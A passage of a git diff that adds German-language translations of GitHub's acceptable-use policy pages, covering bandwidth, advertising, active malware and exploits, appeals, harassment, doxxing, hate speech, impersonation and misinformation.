+- unsere Server nutzen, um Dienste, Geräte, Daten, Konten oder Netzwerke zu unterbrechen oder dies zu versuchen, unbefugten Zugriff darauf zu erlangen oder dies zu versuchen. Bitte beachten Sie, dass Aktivitäten, die im Rahmen von Bug-Bounty-Programmen erlaubt sind, wie z. B. dem [GitHub Bug-Bounty-Programm](https://bounty.github.com), nicht als „nicht autorisiert“ gelten.
+
+
+## 6. Nutzungsbeschränkungen für Dienste
+Ohne unsere ausdrückliche schriftliche Genehmigung dürfen Sie keinen Teil des Dienstes, die Nutzung des Dienstes oder den Zugriff auf den Dienst reproduzieren, vervielfältigen, kopieren, verkaufen, weiterverkaufen oder verwerten.
+
+## 7. Einschränkungen der Informationsnutzung
+Sie können Informationen aus unserem Dienst aus den folgenden Gründen verwenden, unabhängig davon, ob die Informationen durch Scraping beschafft, über unsere API gesammelt oder anderweitig erhalten wurden:
+
+-  Wissenschaftler dürfen öffentliche, nicht personenbezogene Informationen aus dem Dienst nur dann zu Forschungszwecken verwenden, wenn die aus dieser Forschung resultierenden Veröffentlichungen [Open-Access-Bedingungen](https://en.wikipedia.org/wiki/Open_access) unterliegen.
+-  Archivare können öffentliche Informationen aus dem Dienst für Archivierungszwecke verwenden.
+
+Scraping bezieht sich auf das Extrahieren von Informationen aus unserem Dienst über einen automatisierten Prozess, wie z. B. einen Bot oder Webcrawler. Scraping bezieht sich nicht auf das Sammeln von Informationen über unsere API. Unsere API-Bedingungen finden Sie in Abschnitt H unserer [Nutzungsbedingungen](/articles/github-terms-of-service#h-api-terms). 
+
+Informationen aus dem Dienst (egal ob ausgelesen, über unsere API erfasst oder anderweitig erhalten) dürfen nicht für Spamming-Zwecke verwendet werden. Dies schließt auch das Versenden unerwünschter E-Mails an Benutzer sowie den Verkauf personenbezogener Daten an Personalvermittler, Headhunter, Jobbörsen und Ähnliches ein.
+
+Ihre Nutzung von Informationen aus dem Dienst muss im Einklang mit der [GitHub Datenschutzerklärung](/github/site-policy/github-privacy-statement) erfolgen.
+
+## 8. Datenschutz
+Der Missbrauch personenbezogener Daten ist verboten.
+
+Natürliche Personen, juristische Personen oder Dienste, die Daten aus dem Dienst erfassen, müssen sich an die [GitHub-Datenschutzerklärung](/articles/github-privacy-statement) halten, insbesondere in Bezug auf die Erfassung personenbezogener Daten. Wenn Sie personenbezogene Daten aus dem Dienst erfassen, erklären Sie sich damit einverstanden, dass Sie diese personenbezogenen Daten nur für den Zweck verwenden, für den der betreffende Benutzer sie freigegeben hat. Sie verpflichten sich, alle personenbezogenen Daten, die Sie aus dem Dienst erfasst haben, angemessen zu schützen und unverzüglich auf Beschwerden, Entfernungsanträge und Kontaktverbotsanfragen von uns oder von anderen Benutzern zu reagieren.
+
+## 9. Übermäßige Bandbreitennutzung
+Die Bandbreitenbeschränkungen des Dienstes variieren je nach den von Ihnen verwendeten Funktionen. Wenn wir feststellen, dass Ihre Bandbreitennutzung im Vergleich zu anderen Nutzern ähnlicher Funktionen in beträchtlichem Umfang übermäßig ist, behalten wir uns das Recht vor, Ihr Konto zu sperren, Ihr Datei-Hosting zu drosseln oder Ihre Aktivitäten anderweitig einzuschränken, bis Sie Ihre Bandbreitennutzung reduzieren können. Wir behalten uns außerdem das Recht vor, Repositories nach Vorankündigung zu löschen, wenn wir feststellen, dass sie unsere Infrastruktur übermäßig belasten. Eine Anleitung zur akzeptablen Nutzung von Objektspeicher in Repositories finden Sie unter „[Was ist mein Festplattenkontingent?](/github/managing-large-files/what-is-my-disk-quota)“. Weitere Einzelheiten zu den Bandbreitenbeschränkungen bestimmter Funktionen finden Sie unter [Zusätzliche Produktbestimmungen von GitHub](/github/site-policy/github-additional-product-terms).
+
+## 10. Werbung auf GitHub
+**Kurzversion:** *Wir verbieten die Nutzung von GitHub für Werbezwecke nicht grundsätzlich. Wir erwarten jedoch, dass unsere Nutzer bestimmte Einschränkungen befolgen, damit GitHub kein Spam-Paradies wird. Das will niemand.*
+
+Obwohl wir nachvollziehen können, dass Sie möglicherweise Ihre Inhalte bewerben möchten, indem Sie die Namen oder Logos von Unterstützern in Ihrem Konto veröffentlichen, sollte der Hauptfokus von Inhalten, die in oder über Ihr Konto in dem Dienst gepostet werden, nicht auf Werbung oder Verkaufsförderung liegen. Dazu gehören Inhalte, die in oder über Pages, Pakete, Repositories und alle anderen Teile des Dienstes gepostet werden. Sie können statische Bilder, Links und Werbetexte in die mit Ihrem Konto verknüpften README-Dokumente oder Projektbeschreibungsabschnitte einfügen, aber sie müssen sich auf das Projekt beziehen, das Sie auf GitHub hosten. Sie dürfen nicht in den Konten anderer Nutzer werben, z. B. durch das Posten von monetarisiertem oder übermäßigen Masseninhalten in Issues.
+
+Sie dürfen keine Inhalte oder Aktivitäten fördern oder verbreiten, die illegal oder anderweitig durch unsere [Nutzungsbedingungen](/github/site-policy/github-terms-of-service/) oder [Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies/) untersagt sind, darunter übermäßige automatisierte Massenaktivitäten (z. B. Spamming), Programme, die schnellen Reichtum versprechen, und Falschdarstellungen oder Täuschung im Zusammenhang mit Ihrer Werbeaktion.
+
+Wenn Sie sich entscheiden, Verkaufsförderungsmaterialien in Ihrem Konto zu posten, sind Sie allein verantwortlich für die Einhaltung aller geltenden Gesetze und Vorschriften, einschließlich ohne Beschränkung darauf der Richtlinien der U.S. Federal Trade Commission zu Endorsements und Testimonials. Wir behalten uns das Recht vor, Verkaufsförderungsmaterialien oder Anzeigen zu entfernen, die nach unserem alleinigen Ermessen gegen Bedingungen oder Richtlinien von GitHub verstoßen.
+
+## 11. Schutz der Nutzer
+Sie dürfen sich nicht an Aktivitäten beteiligen, die anderen Nutzern erheblichen Schaden zufügen.   
+  
+Wir legen unsere Richtlinien aus und lösen Streitigkeiten zugunsten des Schutzes von Nutzern insgesamt.
+
+---
+
+**Durchsetzung.** GitHub behält sich vor, nach eigenem Ermessen [Maßnahmen zu ergreifen](/github/site-policy/github-community-guidelines#what-happens-if-someone-violates-githubs-policies), wenn gegen diese Richtlinien verstoßen wird, darunter Aussetzung des Kontos, [Kündigung](/github/site-policy/github-terms-of-service#3-github-may-terminate) des Kontos oder [Entfernen](/github/site-policy/github-terms-of-service#2-github-may-remove-content) von Inhalten. In unseren [Community-Richtlinien](/site-policy/github-terms/github-community-guidelines) erfahren Sie außerdem, welche Maßnahmen Sie ergreifen können, wenn etwas oder jemand Sie beleidigt.
+
+**Einspruch und Wiederherstellung.** Wenn Ihre Inhalte oder Ihr Konto deaktiviert oder eingeschränkt wurden und Sie die Wiederherstellung beantragen oder Einspruch einlegen möchten, finden Sie auf unserer [Einspruchs- und Wiederherstellungsseite](/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) Informationen über die Vorgehensweise. Nutzen Sie unser [Einspruchs- und Wiederherstellungsformular](https://support.github.com/contact/reinstatement), um eine entsprechende Anfrage zu stellen.
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md
new file mode 100644
index 0000000000..5dbe2a13a1
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md
@@ -0,0 +1,32 @@
+---
+title: Aktive Malware oder Exploits auf GitHub
+shortTitle: Active Malware or Exploits
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-active-malware-or-exploits
+  - /github/site-policy/github-community-guidelines#active-malware-or-exploits
+ms.openlocfilehash: 1fade2d11285ef8d142b62e2c588c8556c7a5270
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556574'
+---
+Teil einer Gemeinschaft zu sein bedeutet, andere Mitglieder der Gemeinschaft nicht auszunutzen. Wir gestatten niemandem, unsere Plattform zur unmittelbaren Unterstützung rechtswidriger Angriffe zu nutzen, die technische Schäden verursachen, wie z. B. die Verwendung von GitHub als Mittel zur Bereitstellung bösartiger ausführbarer Dateien oder als Angriffsinfrastruktur, z. B. durch die Organisation von Denial-of-Service-Angriffen oder die Verwaltung von Command-and-Control-Servern. Technische Schäden sind übermäßiger Ressourcenverbrauch, physische Schäden, Ausfallzeiten, Dienstverweigerung oder Datenverlust ohne impliziten oder expliziten Dual-Use-Zweck vor dem Auftreten des Missbrauchs.
+
+  Beachten Sie, dass GitHub Dual-Use-Inhalte zulässt und das Posten von Inhalten unterstützt, die für die Erforschung von Schwachstellen, Malware oder Exploits verwendet werden, da die Veröffentlichung und Verbreitung solcher Inhalte einen pädagogischen Wert haben und unter dem Strich einen Nutzen für die Sicherheitsgemeinschaft darstellt. Wir gehen von einer positiven Absicht und Nutzung dieser Projekte aus, um Verbesserungen im gesamten Ökosystem zu fördern und voranzutreiben. 
+
+  In seltenen Fällen von sehr weit verbreitetem Missbrauch von Dual-Use-Inhalten können wir den Zugriff auf diese bestimmte Instanz des Inhalts einschränken, um einen laufenden rechtswidrigen Angriff oder eine Malware-Kampagne zu unterbrechen, die die GitHub Plattform als Exploit- oder Malware-CDN nutzt. In den meisten dieser Fälle erfolgt die Beschränkung in Form einer Hinterlegung der Authentifizierung des Inhalts, kann aber als letzter Ausweg auch die Sperrung des Zugriffs oder die vollständige Entfernung beinhalten, wenn dies nicht möglich ist (z, B. wenn etwas als Gist gepostet wird). Wir werden uns in Bezug auf vorgenommene Beschränkungen nach Möglichkeit auch mit den Projektbesitzern in Verbindung setzen. 
+
+  Beschränkungen sind nach Möglichkeit vorübergehend und dienen nicht dazu, bestimmte Dual-Use-Inhalte oder Kopien dieser Inhalte auf Dauer von der Plattform zu löschen oder einzuschränken. Wir sind zwar bestrebt, diese seltenen Fälle von Beschränkungen in Zusammenarbeit mit den Projekbesitzern durchzuführen, aber wenn Sie der Meinung sind, dass Ihre Inhalte ungerechtfertigt beschränkt wurden, können Sie unser [Einspruchsverfahren](/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) nutzen.
+
+  Um einen Weg zur Behebung von Missbrauch mit den Projektbetreuern selbst zu finden, empfehlen wir, dass Repository-Besitzer vor der Eskalation an GitHub Missbrauchsberichte die folgenden Schritte unternehmen, wenn sie potenziell schädliche Sicherheitsforschungsinhalte posten:
+
+* Identifizieren und beschreiben Sie potenziell schädliche Inhalte eindeutig in einem Haftungsausschluss in der Datei README.md des Projekts oder in Kommentaren zum Quellcode.
+* Geben Sie eine bevorzugte Kontaktmethode für Missbrauchsanfragen Dritter über eine SECURITY.md-Datei im Repository an (z. B. „Bitte erstellen Sie bei Fragen oder Bedenken einen Issue in diesem Repository“). Eine solche Kontaktmethode ermöglicht es Dritten, Projektbetreuer direkt zu kontaktieren und möglicherweise Bedenken zu lösen, ohne dass Missbrauchsmeldungen eingereicht werden müssen.
+
+  *GitHub betrachtet die npm-Registrierung als eine Plattform, die hauptsächlich für die Installation und Laufzeitnutzung von Code und nicht für die Forschung verwendet wird.*
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md
new file mode 100644
index 0000000000..cc6b6c7839
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md
@@ -0,0 +1,43 @@
+---
+title: Einspruch und Wiederherstellung bei GitHub
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 6da03add539f84a02d919fb777690468bb10a22a
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556555'
+---
+## Einspruch und Wiederherstellung
+
+Während die meisten Interaktionen zwischen Einzelpersonen in der GitHub Community unter unsere Richtlinien zur akzeptablen Nutzung und die Community-Richtlinien fallen, kommt es gelegentlich zu Verstößen gegen diese Richtlinien. Wenn dies der Fall ist, müssen GitHub Mitarbeiter möglicherweise Durchsetzungsmaßnahmen ergreifen, um die Verstöße zu beheben. In einigen Fällen kann es jedoch eine Grundlage geben, eine von GitHub Mitarbeitern ergriffene Moderationsmaßnahme rückgängig zu machen.
+
+## Was sind Einsprüche und Wiederherstellungen?
+
+Sowohl Einsprüche als auch Wiederherstellungen entstehen im Zusammenhang mit der Deaktivierung von Inhalten oder Beschränkungen für den Zugriff auf ein Konto.
+
+**Wiederherstellung**: Der Nutzer möchte den Zugriff auf sein Konto oder seine Inhalte wiedererlangen und ist bereit, alle erforderlichen Änderungen vorzunehmen, um den Verstoß zu beheben. Er muss sich verpflichten, in Zukunft nicht mehr gegen unsere Bedingungen zu verstoßen.
+
+**Einspruch**: Der Nutzer bestreitet, dass ein Verstoß stattgefunden hat, und kann zusätzliche Informationen bereitstellen, um zu zeigen, dass eine andere Entscheidung hätte getroffen werden müssen.
+
+## Funktionsweise
+
+Wenn Sie eine Wiederherstellung beantragen oder gegen eine Durchsetzungsmaßnahme Einspruch einlegen möchten, füllen Sie bitte unser [Einspruchs- und Wiederherstellungsformular](https://support.github.com/contact/reinstatement) aus.
+
+Die Mitarbeiter von GitHub prüfen die im Formular bereitgestellten Informationen, um festzustellen, ob ausreichende Informationen vorliegen, um eine Wiederherstellung zu rechtfertigen oder einem Einspruch stattzugeben.
+
+* **Wiederherstellung**: Wenn sich ein Nutzer verpflichten kann, sich in Zukunft an unsere Richtlinien zur akzeptablen Nutzung zu halten, und die erforderlichen Änderungen vorgenommen hat, um die Verstöße zu beheben, können wir je nach den Umständen und der Schwere des ursprünglichen Verstoßes beschließen, sein Konto oder seine Inhalte wiederherzustellen.
+
+Alle legitimen Wiederherstellungsanfragen werden zunächst von GitHub Mitarbeitern geprüft und mit einer Entscheidung beantwortet.
+
+* **Einspruch**: Wenn ein Nutzer versucht, eine Entscheidung anzufechten, kann er das Formular verwenden, um seine Grundlage für die Anfechtung der Entscheidung zu erläutern und zusätzliche Informationen bezüglich des mutmaßlichen Verstoßes bereitzustellen, von denen er glaubt, dass sie zu einer anderen Entscheidung hätten führen sollen. Wenn die bereitgestellten Informationen zeigen, dass eine andere Schlussfolgerung hätte gezogen werden müssen, können wir möglicherweise einem Einspruch stattgeben.
+
+Wenn der Überprüfer aus der Belegschaft von GitHub dieselbe Person ist, die die anfängliche Entscheidung getroffen hat, und dieser Mitarbeiter der Ansicht ist, dass die anfängliche Schlussfolgerung richtig war (und daher geneigt wäre, den Einspruch abzulehnen), wird ein anderer Mitarbeiter von GitHub den Einspruch unabhängig prüfen. Alle berechtigten Einsprüche werden mit einer endgültigen Entscheidung beantwortet.
+
+## Transparenz
+
+Wir verfolgen Einsprüche und Wiederherstellungen in unseren [Transparenzberichten](https://github.blog/2022-01-27-2021-transparency-report/#Appeals_and_other_reinstatements).
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md
new file mode 100644
index 0000000000..89c5b60f21
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md
@@ -0,0 +1,28 @@
+---
+title: GitHub Mobbing und Belästigung
+shortTitle: Bullying and Harassment
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-bullying-and-harassment
+  - /github/site-policy/github-community-guidelines#bullying-and-harassment
+ms.openlocfilehash: 3728314661ad4cb9d5b0765b937e618f8ee31f7b
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556543'
+---
+Wir tolerieren keinerlei Belästigung, Mobbing oder Missbrauch, sei es direkt oder durch Ermutigung anderer, sich an den verbotenen Verhaltensweisen zu beteiligen. Dies schließt Folgendes mit ein:
+
+- Gezielte persönliche Angriffe
+- Anhäufen oder Orchestrieren [störender](/github/site-policy/github-disrupting-the-experience-of-other-users) Aktivitäten in einer Weise, die Missbrauch gleichkommt
+- Verfolgen eines anderen Nutzers auf der Plattform auf eine Weise, die Einschüchterung bewirkt
+- An eine andere Person gerichtete sexuelle Annäherungsversuche oder Kommentare
+- Unaufrichtige Teilnahme an Gesprächen in einer Weise, die Konflikte auslöst oder eine aufrichtige Diskussion untergräbt
+- Erstellen alternativer Konten speziell zum Umgehen von Moderationsmaßnahmen durch Mitarbeiter oder Nutzer von GitHub
+
+Bitte beachten Sie, dass nicht jedes unerwünschte Verhalten unbedingt als Belästigung angesehen wird. Wenn Sie beispielsweise einem anderen Nutzer nicht zustimmen oder seine Kommentare ablehnen, wird dies auf unserer Plattform möglicherweise nicht als Belästigung empfunden. Darüber hinaus fällt das Teilen von Kritik an Persönlichkeiten des öffentlichen Lebens oder Projekten oder Themen von öffentlichem Interesse nicht unbedingt unter diese Richtlinie. Wir empfehlen Ihnen jedoch, darauf zu achten, wie Sie mit anderen Nutzern und der Plattform interagieren, da diese Aktivität immer noch gegen unsere Beschränkung verstoßen kann, die Erfahrung anderer Nutzer zu stören.
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md
new file mode 100644
index 0000000000..a7b82a71a6
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md
@@ -0,0 +1,32 @@
+---
+title: GitHub – Stören der Erfahrung anderer Nutzer
+shortTitle: Disrupting the Experience of Other Users
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-disrupting-the-experience-of-other-users
+  - /github/site-policy/github-community-guidelines#disrupting-the-experience-of-other-users
+ms.openlocfilehash: f036077bfebf251befd048cf327663fc90375c89
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556550'
+---
+Teil einer Community zu sein bedeutet, zu erkennen, wie sich Ihr Verhalten auf andere auswirkt, und sich an sinnvollen und produktiven Interaktionen mit Menschen und der Plattform zu beteiligen, die diese nutzen. 
+
+Wir gestatten kein Verhalten, das die Erfahrung anderer Nutzer erheblich oder kontinuierlich stört. Dies schließt Folgendes mit ein: 
+
+- Veröffentlichen von Kommentaren, die nicht zum Thema gehören 
+- Öffnen leerer oder bedeutungsloser Issues oder Pull-Requests 
+- Markieren und/oder Folgen von Konten oder Repositories in großem Umfang in kurzer Zeit 
+- Erstellen von unsinnigen oder irrelevanten Code-Reviews 
+- Interaktion mit Plattformfunktionen auf eine Weise, die zu übermäßigen Benachrichtigungen für andere Nutzer führt
+- Verwendung einer anderen Plattformfunktion auf eine Weise, die Störungen verursacht
+
+Während wir Betreuer ermutigen, ihre eigenen Projekte auf individueller Basis zu moderieren, können GitHub Mitarbeiter weitere restriktive Maßnahmen gegen Konten ergreifen, die sich an solchen Verhaltensweisen beteiligen.
+
+Bitte beachten Sie, dass das oben genannte Verhalten auch gegen andere Beschränkungen in unseren [Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies) verstoßen kann. Je nach Art und Schwere der Aktivität kann sie beispielsweise bis auf das Niveau von [Mobbing und Belästigung](/github/site-policy/github-bullying-and-harassment) reichen.
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md
new file mode 100644
index 0000000000..c52d4f57f1
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md
@@ -0,0 +1,35 @@
+---
+title: GitHub Doxxing und Verletzung der Privatsphäre
+shortTitle: Doxxing and Invasion of Privacy
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-doxxing-and-invasion-of-privacy
+  - /github/site-policy/github-community-guidelines#doxxing-and-invasion-of-privacy
+ms.openlocfilehash: 70a5087ea0a80e8fea9cfed402b16037ac9efe62
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556540'
+---
+Veröffentlichen Sie keine personenbezogenen Daten anderer Personen. Dies schließt Folgendes mit ein:
+
+- Persönliche, private E-Mail-Adressen
+- Telefonnummern
+- Physische Adressen oder andere private Standortinformationen
+- Bankkontoinformationen oder Kreditkartennummern
+- Sozialversicherungs-/Ausweisnummern
+- Kennwörter
+- Wählerinformationen
+- Medizinische Informationen und personenbezogene biometrische Daten
+- Andere private Informationen, die ein Sicherheitsrisiko darstellen können
+
+Wir können andere Informationen wie Fotos oder Videos, die ohne Zustimmung der betroffenen Person aufgenommen oder verbreitet wurden, als Eingriff in die Privatsphäre betrachten, insbesondere wenn solches Material ein Sicherheitsrisiko für die betroffene Person darstellt, wie z. B. im Falle von Einschüchterung oder Belästigung.
+
+GitHub berücksichtigt den Kontext und ob die gemeldeten Inhalte anderweitig öffentlich verfügbar sind. Bitte beachten Sie jedoch, dass das Teilen von öffentlich zugänglichen Inhalten zwar keinen Verstoß gegen diese Richtlinie darstellt, aber wenn die Informationen mit der Absicht weitergegeben werden, jemanden zu belästigen oder zu anderem missbräuchlichem Verhalten anzustiften, kann dies gegen unser Verbot von [Mobbing und Belästigung](/github/site-policy/github-bullying-and-harassment) verstoßen.
+
+Weitere Informationen oder Informationen zum Melden eines Verstoßes finden Sie in unserer [Richtlinie zum Entfernen privater Informationen](/github/site-policy/github-private-information-removal-policy) und unseren Anweisungen zum [Melden von Missbrauch](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md
new file mode 100644
index 0000000000..4223065f7a
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md
@@ -0,0 +1,29 @@
+---
+title: Hassreden und Diskriminierung auf GitHub
+shortTitle: Hate Speech and Discrimination
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-hate-speech-and-discrimination
+  - /github/site-policy/github-community-guidelines#hate-speech-and-discrimination
+ms.openlocfilehash: f05e10bb8938ed47a6f05ab555c05edd4fab47f0
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556539'
+---
+GitHub toleriert keine Äußerungen, die Hass gegen eine Einzelperson oder eine Gruppe von Menschen aufgrund ihrer Person schüren oder fördern, einschließlich aufgrund von Alter, Körpergröße, Fähigkeiten, ethnischer Zugehörigkeit, Geschlechtsidentität und -ausdruck, Erfahrungsniveau, Staatsangehörigkeit, persönlichem Aussehen, Hautfarbe, Religion, sexueller Identität oder sexueller Orientierung. Dies schließt Folgendes mit ein:
+
+- Verspotten, Angreifen oder Ausgrenzen einer Person oder Gruppe aufgrund ihrer Überzeugungen oder der oben aufgeführten Eigenschaften
+- Anzeigen einer eindeutigen Zugehörigkeit oder Identifikation mit bekannten terroristischen oder gewaltbereiten extremistischen Organisationen
+- Unterstützung oder Förderung von Hassgruppen oder auf Hass basierenden Verschwörungstheorien
+- Teilen von Symbolen oder Bildern, die gleichbedeutend mit Hass sind
+- Verwendung schädlicher Stereotypen, Beleidigungen oder entmenschlichender Sprache
+- Angriff auf eine Person aufgrund ihres wahrgenommenen Geschlechts
+- Hinterherpfeifen oder die Verwendung zweideutiger oder anzüglicher Sprache und/oder von Symbolen, um Übergriffe oder Hass zu fördern
+
+Während GitHub alle Fälle von Übergriffen und Belästigung auf der Plattform ernst nimmt, setzen wir uns besonders dafür ein, auf Hass basierende Übergriffe zu bekämpfen, wenn sie sich überproportional gegen Communitys richten, die in der Vergangenheit von solchen Übergriffen betroffen waren. Unser Ziel ist es, GitHub zu einem Ort zu machen, an dem sich alle Menschen willkommen und sicher fühlen. 
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-impersonation.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-impersonation.md
new file mode 100644
index 0000000000..17250e96c3
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-impersonation.md
@@ -0,0 +1,28 @@
+---
+title: Ausgabe für GitHub Vertreter
+shortTitle: Impersonation
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-impersonation
+  - /github/site-policy/github-community-guidelines#impersonation
+ms.openlocfilehash: ffcac80a077693728b475150093c298420d9ba6f
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556536'
+---
+Sie dürfen Ihre Identität oder Ihre Verbindung zu einer anderen Person oder Organisation nicht falsch darstellen. Dies schließt Folgendes irreführendes oder täuschendes Verhalten ein:
+
+- Kopieren des Avatars oder anderer persönlicher Profilinformationen eines anderen Nutzers
+- Posten von Inhalten unter der E-Mail-Adresse eines anderen Nutzers
+- Verwendung eines täuschend ähnlichen Nutzernamens, Organisationsnamens oder anderen Namespace
+- Sich anderweitig als eine andere Person oder Organisation auszugeben
+
+Identitätsdiebstahl ist eine Form der Belästigung und ein Verstoß gegen diese Richtlinie kann zum Verlust des Zugriffs auf Ihr Konto führen.
+
+Bitte beachten Sie, dass es sich bei einem Nutzernamen, der einem anderen ähnlich ist, nicht unbedingt um Identitätsdiebstahl handelt. GitHub berücksichtigt den Kontext. In Fällen, in denen Ansprüche von [Falschinformation oder Desinformation](/github/site-policy/github-misinformation-and-disinformation) geltend gemacht werden, erlauben wir beispielsweise im Allgemeinen Parodie und Satire, die mit unseren [Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies) übereinstimmen.
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md
new file mode 100644
index 0000000000..5816142f2a
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md
@@ -0,0 +1,26 @@
+---
+title: GitHub Falschinformation und Desinformation
+shortTitle: Misinformation and Disinformation
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-misinformation-and-disinformation
+  - /github/site-policy/github-community-guidelines#misinformation-and-disinformation
+ms.openlocfilehash: ece95f9da0b1953c821531837418e75ed03af4c3
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556535'
+---
+Sie sind nicht berechtigt, Inhalte zu veröffentlichen, die ein verzerrtes Bild der Realität vermitteln, unabhängig davon, ob sie ungenau oder falsch (Falschinformation) oder absichtlich irreführend (Desinformation) sind, wenn diese Inhalte geeignet sind der Öffentlichkeit Schaden zuzufügen oder faire und gleiche Chancen Aller zur Teilhabe an einer freien und offenen Gesellschaft zu beeinträchtigen. Dies kann enthalten: 
+- Ungenaue oder wissenschaftlich nicht belegte medizinische Behauptungen, die die öffentliche Gesundheit oder Sicherheit gefährden  
+- Manipulierte Medien, ob audiovisuell oder visuell, die auf eine Weise irreführen oder täuschen könnten, die dem öffentlichen Interesse schaden
+- Falsche oder irreführende Inhalte, die die Fähigkeit einer Person beeinträchtigen können, an staatsbürgerlichen Aktivitäten teilzunehmen
+- Unbegründete Behauptungen, die Hass oder gezielte Belästigung bestimmter Personengruppen fördern könnten
+
+Wir fördern die aktive Teilnahme am Ausdruck von Ideen, Perspektiven und Erfahrungen und es steht uns nicht zu, persönliche Berichte oder Beobachtungen zu bestreiten. Wir erlauben grundsätzlich Parodien und Satire, die unseren [Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies) entsprechen, und wir halten den Kontext für wichtig, wenn es darum geht, wie Informationen aufgenommen und verstanden werden. Bei der Überprüfung von Inhalten gemäß dieser Richtlinie berücksichtigt GitHub die Auswirkungen verschiedener Faktoren, die dem Betrachter bei der Einordnung behilflich sein können, beispielsweise ob der Inhalt mit einem Warnhinweise, Zitaten, glaubwürdigen Quellen oder anderen Details versehen wurde, die den Wahrheitsgehalt der geteilten Informationen untermauern.
+
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md
new file mode 100644
index 0000000000..7cf999b5a6
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md
@@ -0,0 +1,25 @@
+---
+title: "GitHub\_– sexuell obszöne Inhalte"
+shortTitle: Sexually Obscene Content
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-sexually-obscene-content
+  - /github/site-policy/github-community-guidelines#sexually-obscene-content
+ms.openlocfilehash: f96694fa5b36be9e607786551dbd03542c0961bb
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
